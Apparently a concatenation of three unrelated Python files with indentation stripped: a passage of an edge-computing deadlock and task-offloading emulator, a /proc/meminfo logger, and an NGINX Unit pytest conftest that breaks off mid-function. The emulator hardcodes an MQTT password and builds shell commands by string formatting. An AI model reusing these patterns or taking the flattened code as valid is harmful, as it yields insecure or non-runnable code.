shared_resource_lock = threading.Lock()
fig = plt.figure()
ax1 = fig.add_subplot(231)
ax2 = fig.add_subplot(232)
ax3 = fig.add_subplot(233)
ax4 = fig.add_subplot(234)
ax5 = fig.add_subplot(235)
ax6 = fig.add_subplot(236)
def discovering_group():
global sock1
multicast_group = '224.3.29.71'
server_address = ('', 10000)
# Create the socket
sock1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Bind to the server address
sock1.bind(server_address)
# Tell the operating system to add the socket to the multicast group
# on all interfaces.
group = socket.inet_aton(multicast_group)
mreq = struct.pack('4sL', group, socket.INADDR_ANY)
sock1.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
def offloading_group():
global sock2
multicast_group = '224.5.5.55'
server_address = ('', 20000)
# Create the socket
sock2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Bind to the server address
sock2.bind(server_address)
# Tell the operating system to add the socket to the multicast group
# on all interfaces.
group = socket.inet_aton(multicast_group)
mreq = struct.pack('4sL', group, socket.INADDR_ANY)
sock2.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
def _mov_avg(a1):
ma1 = [] # moving average list
avg1 = 0 # moving average pointwise
count = 0
for i in range(len(a1)):
count += 1
avg1 = ((count-1)*avg1+a1[i])/count
ma1.append(round(avg1, 4)) # cumulative average formula
# μ_n=((n-1) μ_(n-1) + x_n)/n
return ma1
def percent(value, total):
if value > 0:
return round((value/total)*100, 2)
else:
return 0
def plot_offloaded_remote():
keys = ['O-Out', 'Cloud', 'Local', 'O-In']
total = _off_mec + _off_cloud + _loc + _inward_mec
val = [percent(_off_mec, total),
percent(_off_cloud, total),
percent(_loc, total),
percent(_inward_mec, total)]
cols = ['r', 'g', 'b', 'm']
ypos = ([0, 1, 2, 3])
'''
explode = []
for i in val:
if i == max(val):
explode.append(0.1)
else:
explode.append(0)
ax2.pie(val, labels=keys, autopct='%.3f%%', wedgeprops=dict(width=0.5),
startangle=-40, shadow=True, explode=explode, colors=cols)
'''
values = [_off_mec, _off_cloud, _loc, _inward_mec]
for i in values:
j = values.index(i)
ax2.text(j-0.1, values[j], '{}%'.format(val[j]), rotation=0,
ha="center", va="center", bbox=dict(boxstyle="round", ec=(1., 0.5, 0.5), fc=(1., 0.8, 0.8), ))
ax2.set_xticks(ypos)
ax2.set_xticklabels(keys)
ax2.bar(ypos, values, align='center', color=cols, alpha=0.3)
ax2.set_title('Local/Remote Execution Report')
plt.subplot(ax2)
# color=color_code[list(hosts.values()).index(i)]
def plot_deadlock():
# cols = ['r']
text = str(deadlock[-1] - 1) + " Deadlock Resolved"
'''
wedges, texts, autotexts = ax5.pie(deadlock, shadow=True, autopct=text,
textprops=dict(rotation_mode='anchor', color="w", ha='left'), colors=cols)
plt.setp(autotexts, size=9, weight="bold")
'''
ax5.text(0.5, 0.6, text, rotation=0, size=10,
ha="center", va="center", bbox=dict(boxstyle="round", ec=(0., 0., 0.), fc=(0.7, 0.9, 1.)))
ax5.text(0.5, 0.45, '{} Tasks Received'.format(_loc+_inward_mec), rotation=0, size=10,
ha="center", va="center", bbox=dict(boxstyle="round", ec=(0., 0., 0.), fc=(0.98, 0.96, 0.59), ))
# ax5.set_title("Deadlock Resolved Counter")
ax5.set_axis_off()
plt.subplot(ax5)
def plot_memory():
global memory
memory.append(round(algo.memory_percent(), 4))
ax6.grid(True)
ax6.plot(list(range(len(_mov_avg(memory)))), _mov_avg(memory), linewidth=2, label='Memory', color='m')
# ax6.set_title('Moving Memory Utilization')
ax6.set_ylabel('Moving Memory')
ax6.set_xlabel('Time (seconds)')
ax6.fill_between(list(range(len(_mov_avg(memory)))), _mov_avg(memory), 0, alpha=0.5, color='m')
ax6.legend()
plt.subplot(ax6)
def plot_wait_time():
ax1.grid(True)
for i in mec_waiting_time:
mv = _mov_avg(mec_waiting_time[i])
pt = mv[0:len(mv):int((len(mv) / 7)) + 1]
if pt[-1] != mv[-1]:
pt.append(mv[-1])
ptx = [mv.index(i) for i in pt]
ax1.plot(ptx,
pt,
style[list(hosts.values()).index(i)],
linewidth=2,
label=i)
ax1.set_title('Waiting Time Queue')
ax1.set_ylabel('Moving Wait + RTT')
# ax2.set_xlabel('Time (seconds)')
ax1.legend()
plt.subplot(ax1)
def get_mec_rtts():
for i in mec_rtt:
mec_rtt[i].append(get_rtt(i))
def plot_rtts():
get_mec_rtts()
ax3.grid(True)
for i in mec_rtt:
mv = _mov_avg(mec_rtt[i])
pt = mv[0:len(mv):int((len(mv) / 7)) + 1]
if pt[-1] != mv[-1]:
pt.append(mv[-1])
ptx = [mv.index(i) for i in pt]
ax3.plot(ptx,
pt,
style[list(hosts.values()).index(i)],
linewidth=2,
label=i)
ax3.set_title('RTT Utilization over Time')
# ax3.set_ylabel('Moving RTT')
# ax3.set_xlabel('Time (seconds)')
ax3.legend()
plt.subplot(ax3)
def plot_cpu():
global prev_t
# get cpu
next_t = psutil.cpu_percent(percpu=False)
delta = abs(prev_t - next_t)
prev_t = next_t
_cpu.append(round(delta, 4))
# plot graph
ax4.grid(True)
ax4.plot(list(range(len(_mov_avg(_cpu)))), _mov_avg(_cpu), linewidth=2, label='CPU')
# ax4.set_title('Moving CPU Utilization')
ax4.set_ylabel('Moving CPU')
ax4.set_xlabel('Time (seconds)')
ax4.fill_between(list(range(len(_mov_avg(_cpu)))), _mov_avg(_cpu), 0, alpha=0.5)
ax4.legend()
plt.subplot(ax4)
def plot_graphs():
plot_offloaded_remote()
plot_wait_time()
plot_rtts()
plot_cpu()
plot_deadlock()
plot_memory()
fig.suptitle('MEC Performance During Deadlock Experiment')
def show_graphs():
drawnow(plot_graphs)
def ip_address():
try:
# cmd = ['ifconfig eth1 | grep inet | cut -d ":" -f 2 | cut -d " " -f 1']
cmd = ['ifconfig ens4 | grep inet | head -n 1 | cut -d "t" -f 2 | cut -d " " -f 2']
address = str(sp.check_output(cmd, shell=True), 'utf-8')[0:-1]
if len(address.strip().split('.')) == 4:
return address.strip()
else:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
return s.getsockname()[0]
except Exception as e:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
return s.getsockname()[0]
def host_ip_set():
global ip_set
ip_set = set()
for ifaceName in interfaces():
addresses = [i['addr'] for i in ifaddresses(ifaceName).setdefault(AF_INET, [{'addr': 'No IP addr'}])]
ip_set.add(', '.join(addresses))
def get_rtt(host):
rtt = pc.verbose_ping(host)
return round(rtt, 4)
def get_time():
_time_ = []
d = str(dt.datetime.utcnow()).split()
_time_ += d[0].split('-')
g = d[1].split('.')
_time_ += g[0].split(':')
_time_.append(g[1])
return _time_
def gcd(a, b):
if b == 0:
return a
return gcd(b, a % b)
def _lcm(a, b):
return int(a * b / gcd(a, b))
def lcm(_list):
return reduce(_lcm, _list)
def gosh_dist(_range):
return ((23 ** r.randrange(1, 1331)) % r.randrange(1, 1777)) % _range
def on_connect(connect_client, userdata, flags, rc):
# print("Connected with Code :" +str(rc))
# Subscribe Topic from here
connect_client.subscribe(node_id)
# Callback Function on Receiving the Subscribed Topic/Message
def on_message(message_client, userdata, msg):
data = str(msg.payload, 'utf-8')
if data[0] == 'c':
data = data[2:]
received_task = ast.literal_eval(data)
# send_client({received_task: get_time()}, cloud_register[received_task.split('.')[2]])
_client.publish(received_task.split('.')[2], str({received_task: get_time()}))
elif data[0] == 't': # receive from client
received_task = ast.literal_eval(data[2:])
received_task_queue.append(received_task)
else:
print('data: ', data)
def connect_to_broker():
global _client
global broker_ip
username = 'mec'
password = 'password'
broker_ip = hosts['speaker']
broker_port_no = 1883
_client = mqtt.Client()
_client.on_connect = on_connect
_client.on_message = on_message
_client.username_pw_set(username, password)
_client.connect(broker_ip, broker_port_no, 60)
_client.loop_forever()
def load_tasks():
global tasks
period_list = [tasks[i]['period'] for i in tasks]
lcm_period = lcm(period_list)
# insert idle task
tasks['idle'] = {'wcet': lcm_period, 'period': lcm_period + 1}
return lcm_period
def scheduler(_lcm_): # RMS algorithm
queue = list(tasks.keys()) # initialize task queue
schedule = []
rms = []
curr = '' # current task
prev = '' # previous task
tmp = {}
for task in tasks.keys():
tmp[task] = {} # temporary data for each task
tmp[task]['deadline'] = tasks[task]['period']
tmp[task]['executed'] = 0
# start scheduling...
# proceed by one timestamp to handle preemption
for _time_ in range(_lcm_):
# insert new tasks into the queue
for t in tmp.keys():
if _time_ == tmp[t]['deadline']:
if tasks[t]['wcet'] > tmp[t]['executed']:
# print('Scheduling Failed at %d' % time)
exit(1)
else:
tmp[t]['deadline'] += tasks[t]['period']
tmp[t]['executed'] = 0
queue.append(t)
# select next task to be scheduled
_min_ = _lcm_ * 2
for task in queue:
if tmp[task]['deadline'] < _min_:
_min_ = tmp[task]['deadline']
curr = task
tmp[curr]['executed'] += 1
# print(time, queue, curr)
# dequeue the execution-completed task
if tmp[curr]['executed'] == tasks[curr]['wcet']:
for i in range(len(queue)):
if curr == queue[i]:
del queue[i]
break
# record to the schedule trace
if prev != curr:
if prev in queue and prev != 'idle': # previous task is preempted..
s = schedule.pop()
schedule.append([s[0], s[1], '*'])
rms.append(s[1])
schedule.append([_time_, curr])
if curr != 'idle':
rms.append(curr)
prev = curr
return rms
# generate execution sequence
def wound_wait(processes, avail, n_need, allocat):
global deadlock
offload = []
# To store execution sequence
exec_seq = []
# Make a copy of available resources
work = [0] * len(processes)
# While all processes are not finished
# or system is not in safe state.
while 0 in work:
ind = work.index(0)
i = processes[ind]
# print('comparing| process: ', i, n_need[i], 'work: ', avail)
if not (False in list(np.greater_equal(avail, n_need[i]))):
exec_seq.append(i)
avail = np.add(avail, allocat[i])
work[ind] = 1
else:
a = list(set(processes) - set(exec_seq) - set(offload))
n = {}
for j in a:
n[j] = sum(allocat[j])
_max = max(n, key=n.get)
# print('work: ', work, 'need: ', _need[_max])
if not (False in list(np.greater_equal(np.array(avail) + np.array(allocat[_max]), n_need[i]))):
offload.append(_max)
avail = np.array(avail) + np.array(allocat[_max])
work[processes.index(_max)] = 1
else:
offload.append(i)
avail = np.array(avail) + np.array(allocat[i])
work[processes.index(i)] = 1
if len(offload) > 0:
print('offloading tasks: ', offload)
cooperative_mec(offload)
deadlock[0] += 1
print('Execution seq: ', exec_seq)
return exec_seq
def get_exec_seq(pro):
# Number of processes
p = len(pro)
processes = ['{}_{}'.format(pro[i], i) for i in range(len(pro))]
# Available instances of resources
avail = [6, 5, 5]
n_need = {i: _need[i[:2]] for i in processes}
# print('need', n_need)
# Resources allocated to processes
allot = {i: allocation[i[:2]] for i in processes}
# return execution sequence
return wound_wait(processes, avail, n_need, allot)
def calc_wait_time(list_seq):
pre = 0
time_dic = {}
for i in list_seq:
j = i.split('_')[0] # i = 't5_3_3', j = 't5_3'
time_dic[i] = round(t_time[j][0] + pre, 3)
pre += t_time[j][0]
# waiting time = total waiting time ÷ 2 average waiting time might be too tight
w_send = round(time_dic[list(time_dic.keys())[-1]]/2, 3)
send_message('wt {} {}'.format(ip_address(), str(w_send))) # Broadcasting waiting time to cooperative MECs
return time_dic
def compare_local_mec(list_seq):
time_compare_dict = {i: t_time[i.split('_')[0]][1] > list_seq[i] for i in list_seq}
print('local vs MEC comparison: ', time_compare_dict)
execute_mec = []
execute_locally = []
for i in time_compare_dict:
if time_compare_dict[i]:
execute_locally.append(i)
else:
execute_mec.append(i)
return execute_mec, execute_locally
def calculate_mov_avg(ma1, a1):
if ma1 in mec_waiting_time:
_count = len(mec_waiting_time[ma1])
avg1 = mec_waiting_time[ma1][-1]
else:
_count = 0
avg1 = 0
_count += 1
avg1 = ((_count - 1) * avg1 + a1) / _count
# ma1.append(avg1) #cumulative average formula
# μ_n=((n-1) μ_(n-1) + x_n)/n
return round(avg1, 4)
def send_message(mg):
_multicast_group = ('224.3.29.71', 10000)
try:
# Send data to the multicast group
if mg == 'hello':
smg = mg + ' ' + str([get_hostname(), ip_address()])
sock1.sendto(str.encode(smg), _multicast_group)
print('\nHello message sent')
else:
sock1.sendto(str.encode(mg), _multicast_group)
except Exception as e:
print(e)
def get_hostname():
cmd = ['cat /etc/hostname']
hostname = str(sp.check_output(cmd, shell=True), 'utf-8')[0:-1]
return hostname
def receive_message():
global hosts
while True:
if stop == 1:
print('Stopped : receive_message')
break
else:
data, address = sock1.recvfrom(1024)
_d = data.decode()
if _d[:5] == 'hello':
_data = ast.literal_eval(_d[6:])
hosts[_data[0]] = _data[1]
# print('received: ', hosts)
if _data[1] != host_ip:
mec_rtt[_data[1]] = []
elif (data.decode()[:6] == 'update') and (discovering == 0):
hosts = ast.literal_eval(data.decode()[7:])
elif _d[:2] == 'wt':
split_data = _d.split()
if split_data[1] != host_ip:
# calcuate moving average of mec wait time => w_time = wait time + rtt
w_time = calculate_mov_avg(split_data[1], float(split_data[2]) + get_rtt(address[0]))
if split_data[1] in mec_waiting_time:
mec_waiting_time[split_data[1]].append(w_time)
else:
mec_waiting_time[split_data[1]] = [w_time]
def mec_comparison():
# returns min average waiting for all mecs
if len(mec_waiting_time) == 0:
return 0
min_mec = {i: mec_waiting_time[i][-1] for i in mec_waiting_time}
min_wt = min(min_mec, key=min_mec.get)
return min_wt
def cooperative_mec(mec_list):
global _off_cloud
global _off_mec
for i in mec_list:
_host = mec_comparison()
if _host == 0:
# send_cloud([i.split('_')[0], t_time[i.split('_')[0]][0]]) # [task_id,exec_time]
_client.publish(cloud_ip, str([i.split('_')[0], t_time[i.split('_')[0]][0]]))
_off_cloud += 1
# cloud_register[i.split('_')[0].split('.')[2]] = send_back_host
print('\n=========SENDING {} TO CLOUD==========='.format(i))
else:
j = i.split('_')[0]
_max = np.array([6, 5, 5])
send = 'false'
if not (False in list(np.greater_equal(_max, _need[j[:2]]))):
send = 'true'
# CHECK IF THE MINIMUM MEC WAIT TIME IS LESS THAN LATENCY
if mec_waiting_time[_host][-1] < t_time[j][1] and send == 'true':
send_offloaded_task_mec('{} {} {}'.format('ex', mec_id(_host), [j, t_time[j][0]]))
_off_mec += 1
# SENDS TASK TO MEC FOR EXECUTION
mec_waiting_time[_host].append(
round(mec_waiting_time[_host][-1] + (t_time[j][0]) / 2, 3)) # adds a new average waiting time
print('\n======SENDING {} TO MEC {}========='.format(i, _host))
else:
_client.publish(cloud_ip, str([j, t_time[j][0]]))
_off_cloud += 1
# send_cloud([j, t_time[j][0]]) # # [task_id,exec_time]
# cloud_register[j.split('.')[2]] = send_back_host
print('\n=========SENDING {} TO CLOUD==========='.format(i))
def execute_re_offloaded_task(offloaded_task):
exec_list = get_exec_seq(offloaded_task[0])
for i in exec_list:
j = i.split('_')[0]
time.sleep(offloaded_task[1][j]/2)
# print('j task: ', j)
send_offloaded_task_mec('{} {}'.format(j.split('.')[1], i.split('*')[0]))
def execute(local):
print('\nExecuting :', local)
# send = []
for i in local:
j = i.split('_')[0]
time.sleep(t_time[j][0]/2)
print('#' * ((local.index(i) + 1) * 3), ' Executed: ', i)
if j.split('.')[1] != node_id:
send_offloaded_task_mec('{} {}'.format(j.split('.')[1], j))
# send.append(j)
elif j.split('.')[1] == node_id:
# send_client({j: get_time()}, send_back_host)
_client.publish(j.split('.')[2], str({j: get_time()}))
print('============== EXECUTION DONE ===============')
# return send
def receive_offloaded_task_mec(): # run as a thread
global _inward_mec
global t_track
while True:
if stop == 1:
print('Stopped: receive_offloaded_task_mec()')
break
else:
data, address = sock2.recvfrom(1024)
if len(data.decode()) > 0:
da = data.decode().split(' ')
if (address[0] not in ip_set) and da[0] == node_id: # send back to client
# send_client({da[1]: get_time()}, offload_register[da[1]]) # send back to client
_client.publish(da[1].split('.')[2], str({da[1]: get_time()}))
elif (address[0] not in ip_set) and da[0] == 'ex' and da[1] == node_id:
_received = ast.literal_eval(da[2] + da[3])
shared_resource_lock.acquire()
task = _received[0] + '*{}'.format(t_track)
reoffload_list[0].append(task)
reoffload_list[1][task] = _received[1]
shared_resource_lock.release()
t_track += 1
_inward_mec += 1
def call_execute_re_offload():
global reoffload_list
while True:
if stop == 1:
print('Stopped: call_executed_re_offload()')
break
else:
if len(reoffload_list[0]) == 1:
t = reoffload_list[0][-1]
time.sleep(reoffload_list[1][t]/2)
shared_resource_lock.acquire()
reoffload_list[0].remove(t)
del reoffload_list[1][t]
shared_resource_lock.release()
send_offloaded_task_mec('{} {}'.format(t.split('.')[1], t.split('*')[0]))
elif len(reoffload_list[0]) > 1:
o = reoffload_list.copy()
execute_re_offloaded_task(o)
for i in o[0]:
shared_resource_lock.acquire()
reoffload_list[0].remove(i)
del reoffload_list[1][i]
shared_resource_lock.release()
time.sleep(1)
def send_offloaded_task_mec(msg):
_multicast_group = ('224.5.5.55', 20000)
try:
sock2.sendto(str.encode(msg), _multicast_group)
except Exception as e:
print(e)
def send_email(msg):
try:
server = smtplib.SMTP_SSL('smtp.gmail.com')
server.ehlo()
server.login(config.email_address, config.password)
subject = 'Deadlock results rms+wound_wait {}'.format(get_hostname())
# msg = 'Attendance done for {}'.format(_timer)
_message = 'Subject: {}\n\n{}\n\n SENT BY RIHANNA \n\n'.format(subject, msg)
server.sendmail(config.email_address, config.send_email, _message)
server.quit()
print("Email sent!")
except Exception as e:
print(e)
def save_and_abort():
global stop
_id_ = get_hostname()[-1]
result = f"wt{_id_}_7_{mec_no} = {mec_waiting_time} " \
f"\nrtt{_id_}_7_{mec_no} = {mec_rtt} \ncpu{_id_}_7_{mec_no} = {_cpu} " \
f"\noff_mec{_id_}_7_{mec_no} = {_off_mec} " \
f"\noff_cloud{_id_}_7_{mec_no} = {_off_cloud} " \
f"\ninward_mec{_id_}_7_{mec_no} = {_inward_mec}" \
f"\nloc{_id_}_7_{mec_no} = {_loc} " \
f"\ndeadlock{_id_}_7_{mec_no} = {deadlock} \nmemory{_id_}_7_{mec_no} = {memory}"
list_result = [
f"wt{_id_}_7_{mec_no} = {mec_waiting_time} ",
f"\nrtt{_id_}_7_{mec_no} = {mec_rtt} \ncpu{_id_}_7_{mec_no} = {_cpu} ",
f"\no_mec{_id_}_7_{mec_no} = {_off_mec} \no_cloud{_id_}_7_{mec_no} = {_off_cloud} ",
f"\ninward_mec{_id_}_7_{mec_no} = {_inward_mec}",
f"\nloc{_id_}_7_{mec_no} = {_loc} ",
f"\ndeadlock{_id_}_7_{mec_no} = {deadlock} \nmemory{_id_}_7_{mec_no} = {memory}"
]
for i in list_result:
cmd = 'echo "{}" >> data.py'.format(i)
os.system(cmd)
os.system('echo "{}" >> /home/mec/result/data.py'.format(i))
send_email(result)
stop += 1
'''
for i in thread_record:
i.join()
'''
_client.loop_stop()
time.sleep(1)
print('done')
os.system('kill -9 {}'.format(os.getpid()))
def mec_id(client_ip):
_id = client_ip.split('.')[-1]
if len(_id) == 1:
return '00' + _id
elif len(_id) == 2:
return '0' + _id
else:
return _id
def run_me():
global discovering
global hosts
initialization()
while True:
if len(hosts) == mec_no:
print('MEC Details: ', hosts)
del hosts[get_hostname()]
discovering = 1
break
time.sleep(2)
start_loop()
def start_loop():
global _loc
global tasks
global t_time
global stop
global node_id
print('\n============* WELCOME TO THE DEADLOCK EMULATION PROGRAM *=============\n')
node_id = mec_id(ip_address())
# print('node id: ', node_id)
_threads_ = [receive_offloaded_task_mec, call_execute_re_offload, connect_to_broker]
for i in _threads_:
thread_record.append(Thread(target=i))
Thread(target=i).daemon = True
Thread(target=i).start()
x = gp.getpass('Press any key to Start...').lower()
if x != 'exit':
print('========= Waiting for tasks ==========')
_time_ = dt.datetime.now()
while True:
try:
if len(received_task_queue) > 0:
info = received_task_queue.pop(0)
tasks, t_time = info
print('EDF List of Processes: ', tasks, '\n')
print('\n========= Running Deadlock Algorithm ===========')
a = load_tasks()
list_seq = get_exec_seq(scheduler(a))
if len(list_seq) > 0: # do only when there is a task in safe sequence
wait_list = calc_wait_time(list_seq)
print('\nWaiting Time List: ', wait_list)
compare_result = compare_local_mec(wait_list)
print('\nExecute Locally: ', compare_result[1])
_loc += len(compare_result[1]) # total number of tasks to be executed locally
print('\nExecute in MEC: ', compare_result[0])
if len(compare_result[0]) > 0:
print('\nSending to cooperative platform')
cooperative_mec(compare_result[0])
execute(compare_result[1])
show_graphs()
_time_ = dt.datetime.now()
else:
send_message(str('wt {} 0.0'.format(ip_address())))
time.sleep(.5)
now = dt.datetime.now()
delta = now - _time_
if delta > dt.timedelta(minutes=3):
print('terminating programme 5 mins elapsed')
save_and_abort()
break
except KeyboardInterrupt:
print('\nProgramme Terminated')
save_and_abort()
break
def initialization():
global mec_no
global host_ip
global cloud_ip
host_ip = ip_address()
try:
mec_no = int(input('Number of MECs: ').strip())
cloud_ip = input('Cloud Server IP: ').strip()
print('\nCompiling MEC Details')
h1 = Thread(target=receive_message)
h2 = Thread(target=receive_offloaded_task_mec)
thread_record.append(h1)
thread_record.append(h2)
h1.daemon = True
h2.daemon = True
h1.start()
h2.start()
while True:
b = input('Send Hello Message (Y/N): ').strip().lower()
if b == 'y':
send_message('hello')
break
else:
print('\nPlease Type "y" to send Hello message\n')
except KeyboardInterrupt:
print('\nProgramme Terminated')
exit(0)
def main():
global algo
os.system('clear')
print('mec ip: ', ip_address())
algo = psutil.Process()
discovering_group()
offloading_group()
host_ip_set()
run_me()
if __name__ == "__main__":
main()
|
mem_reader.py | #!/usr/bin/python3
from time import time, sleep
from threading import Thread, Event
import argparse
def _waitinput(event):
input('Press any key to exit')
event.set()
if __name__ == '__main__':
parser = argparse.ArgumentParser('Memory measuring tool')
parser.add_argument('file', help='File to save data to')
parser.add_argument('-i', '--interval', type=float, help='Time interval for measuring in seconds, defaults to 0.1', default=0.1)
args = parser.parse_args()
event = Event()
Thread(target=_waitinput, args=[event]).start()
with open(args.file, 'w') as f:
f.write('mem_data\n')
with open(args.file, 'a') as fw:
while not event.is_set():
with open('/proc/meminfo', 'r') as fr:
fw.write('%f %s\n' % (time(), ' '.join([x.split()[1] for x in fr.read().splitlines()])))
sleep(args.interval)
|
conftest.py | import fcntl
import inspect
import json
import os
import platform
import re
import shutil
import signal
import stat
import subprocess
import sys
import tempfile
import time
from multiprocessing import Process
import pytest
from unit.check.chroot import check_chroot
from unit.check.go import check_go
from unit.check.isolation import check_isolation
from unit.check.node import check_node
from unit.check.regex import check_regex
from unit.check.tls import check_openssl
from unit.http import TestHTTP
from unit.log import Log
from unit.option import option
from unit.utils import public_dir
from unit.utils import waitforfiles
def pytest_addoption(parser):
parser.addoption(
"--detailed",
default=False,
action="store_true",
help="Detailed output for tests",
)
parser.addoption(
"--print-log",
default=False,
action="store_true",
help="Print unit.log to stdout in case of errors",
)
parser.addoption(
"--save-log",
default=False,
action="store_true",
help="Save unit.log after the test execution",
)
parser.addoption(
"--unsafe",
default=False,
action="store_true",
help="Run unsafe tests",
)
parser.addoption(
"--user",
type=str,
help="Default user for non-privileged processes of unitd",
)
parser.addoption(
"--fds-threshold",
type=int,
default=0,
help="File descriptors threshold",
)
parser.addoption(
"--restart",
default=False,
action="store_true",
help="Force Unit to restart after every test",
)
unit_instance = {}
_processes = []
_fds_info = {
'main': {'fds': 0, 'skip': False},
'router': {'name': 'unit: router', 'pid': -1, 'fds': 0, 'skip': False},
'controller': {
'name': 'unit: controller',
'pid': -1,
'fds': 0,
'skip': False,
},
}
http = TestHTTP()
def pytest_configure(config):
option.config = config.option
option.detailed = config.option.detailed
option.fds_threshold = config.option.fds_threshold
option.print_log = config.option.print_log
option.save_log = config.option.save_log
option.unsafe = config.option.unsafe
option.user = config.option.user
option.restart = config.option.restart
option.generated_tests = {}
option.current_dir = os.path.abspath(
os.path.join(os.path.dirname(__file__), os.pardir)
)
option.test_dir = option.current_dir + '/test'
option.architecture = platform.architecture()[0]
option.system = platform.system()
option.cache_dir = tempfile.mkdtemp(prefix='unit-test-cache-')
public_dir(option.cache_dir)
# set stdout to non-blocking
if option.detailed or option.print_log:
fcntl.fcntl(sys.stdout.fileno(), fcntl.F_SETFL, 0)
def print_log_on_assert(func):
def inner_function(*args, **kwargs):
try:
func(*args, **kwargs)
except AssertionError as e:
_print_log(kwargs.get('log', None))
raise e
return inner_function
def pytest_generate_tests(metafunc):
cls = metafunc.cls
if (
not hasattr(cls, 'application_type')
or cls.application_type == None
or cls.application_type == 'external'
):
return
type = cls.application_type
def generate_tests(versions):
metafunc.fixturenames.append('tmp_ct')
metafunc.parametrize('tmp_ct', versions)
for version in versions:
option.generated_tests[
metafunc.function.__name__ + '[{}]'.format(version)
] = (type + ' ' + version)
# take available module from option and generate tests for each version
for module, prereq_version in cls.prerequisites['modules'].items():
if module in option.available['modules']:
available_versions = option.available['modules'][module]
if prereq_version == 'all':
generate_tests(available_versions)
elif prereq_version == 'any':
option.generated_tests[metafunc.function.__name__] = (
type + ' ' + available_versions[0]
)
elif callable(prereq_version):
generate_tests(
list(filter(prereq_version, available_versions))
)
else:
raise ValueError(
"""
Unexpected prerequisite version "%s" for module "%s" in %s.
'all', 'any' or callable expected."""
% (str(prereq_version), module, str(cls))
)
def pytest_sessionstart(session):
option.available = {'modules': {}, 'features': {}}
unit = unit_run()
# read unit.log
for i in range(50):
with open(Log.get_path(), 'r') as f:
log = f.read()
m = re.search('controller started', log)
if m is None:
time.sleep(0.1)
else:
break
if m is None:
_print_log(log)
exit("Unit is writing log too long")
# discover available modules from unit.log
for module in re.findall(r'module: ([a-zA-Z]+) (.*) ".*"$', log, re.M):
versions = option.available['modules'].setdefault(module[0], [])
if module[1] not in versions:
versions.append(module[1])
# discover modules from check
option.available['modules']['openssl'] = check_openssl(unit['unitd'])
option.available['modules']['go'] = check_go(
option.current_dir, unit['temp_dir'], option.test_dir
)
option.available['modules']['node'] = check_node(option.current_dir)
option.available['modules']['regex'] = check_regex(unit['unitd'])
# remove None values
option.available['modules'] = {
k: v for k, v in option.available['modules'].items() if v is not None
}
check_chroot()
check_isolation()
_clear_conf(unit['temp_dir'] + '/control.unit.sock')
unit_stop()
_check_alerts()
if option.restart:
shutil.rmtree(unit_instance['temp_dir'])
@pytest.hookimpl(tryfirst=True, hookwrapper=True)
def pytest_runtest_makereport(item, call):
# execute all other hooks to obtain the report object
outcome = yield
rep = outcome.get_result()
# set a report attribute for each phase of a call, which can
# be "setup", "call", "teardown"
setattr(item, "rep_" + rep.when, rep)
@pytest.fixture(scope='class', autouse=True)
def check_prerequisites(request):
cls = request.cls
missed = []
# check modules
if 'modules' in cls.prerequisites:
available_modules = list(option.available['modules'].keys())
for module in cls.prerequisites['modules']:
if module in available_modules:
continue
missed.append(module)
if missed:
pytest.skip('Unit has no ' + ', '.join(missed) + ' module(s)')
# check features
if 'features' in cls.prerequisites:
available_features = list(option.available['features'].keys())
for feature in cls.prerequisites['features']:
if feature in available_features:
continue
missed.append(feature)
if missed:
pytest.skip(', '.join(missed) + ' feature(s) not supported')
@pytest.fixture(autouse=True)
def run(request):
unit = unit_run()
option.skip_alerts = [
r'read signalfd\(4\) failed',
r'sendmsg.+failed',
r'recvmsg.+failed',
]
option.skip_sanitizer = False
_fds_info['main']['skip'] = False
_fds_info['router']['skip'] = False
_fds_info['controller']['skip'] = False
yield
# stop unit
error_stop_unit = unit_stop()
error_stop_processes = stop_processes()
# prepare log
with Log.open(encoding='utf-8') as f:
log = f.read()
Log.set_pos(f.tell())
if not option.save_log and option.restart:
shutil.rmtree(unit['temp_dir'])
Log.set_pos(0)
# clean temp_dir before the next test
if not option.restart:
_clear_conf(unit['temp_dir'] + '/control.unit.sock', log=log)
for item in os.listdir(unit['temp_dir']):
if item not in [
'control.unit.sock',
'state',
'unit.pid',
'unit.log',
]:
path = os.path.join(unit['temp_dir'], item)
public_dir(path)
if os.path.isfile(path) or stat.S_ISSOCK(
os.stat(path).st_mode
):
os.remove(path)
else:
shutil.rmtree(path)
# check descriptors
_check_fds(log=log)
# print unit.log in case of error
if hasattr(request.node, 'rep_call') and request.node.rep_call.failed:
_print_log(log)
if error_stop_unit or error_stop_processes:
_print_log(log)
# check unit.log for errors
assert error_stop_unit is None, 'stop unit'
assert error_stop_processes is None, 'stop processes'
_check_alerts(log=log)
def unit_run():
global unit_instance
if not option.restart and 'unitd' in unit_instance:
return unit_instance
build_dir = option.current_dir + '/build'
unitd = build_dir + '/unitd'
if not os.path.isfile(unitd):
exit('Could not find unit')
temp_dir = tempfile.mkdtemp(prefix='unit-test-')
public_dir(temp_dir)
if oct(stat.S_IMODE(os.stat(build_dir).st_mode)) != '0o777':
public_dir(build_dir)
os.mkdir(temp_dir + '/state')
unitd_args = [
unitd,
'--no-daemon',
'--modules',
build_dir,
'--state',
temp_dir + '/state',
'--pid',
temp_dir + '/unit.pid',
'--log',
temp_dir + '/unit.log',
'--control',
'unix:' + temp_dir + '/control.unit.sock',
'--tmp',
temp_dir,
]
if option.user:
unitd_args.extend(['--user', option.user])
with open(temp_dir + '/unit.log', 'w') as log:
unit_instance['process'] = subprocess.Popen(unitd_args, stderr=log)
if not waitforfiles(temp_dir + '/control.unit.sock'):
_print_log()
exit('Could not start unit')
unit_instance['temp_dir'] = temp_dir
unit_instance['control_sock'] = temp_dir + '/control.unit.sock'
unit_instance['unitd'] = unitd
option.temp_dir = temp_dir
Log.temp_dir = temp_dir
with open(temp_dir + '/unit.pid', 'r') as f:
unit_instance['pid'] = f.read().rstrip()
_clear_conf(unit_instance['temp_dir'] + '/control.unit.sock')
_fds_info['main']['fds'] = _count_fds(unit_instance['pid'])
router = _fds_info['router']
router['pid'] = pid_by_name(router['name'])
router['fds'] = _count_fds(router['pid'])
controller = _fds_info['controller']
controller['pid'] = pid_by_name(controller['name'])
controller['fds'] = _count_fds(controller['pid'])
return unit_instance
def unit_stop():
if not option.restart:
if inspect.stack()[1].function.startswith('test_'):
pytest.skip('no restart mode')
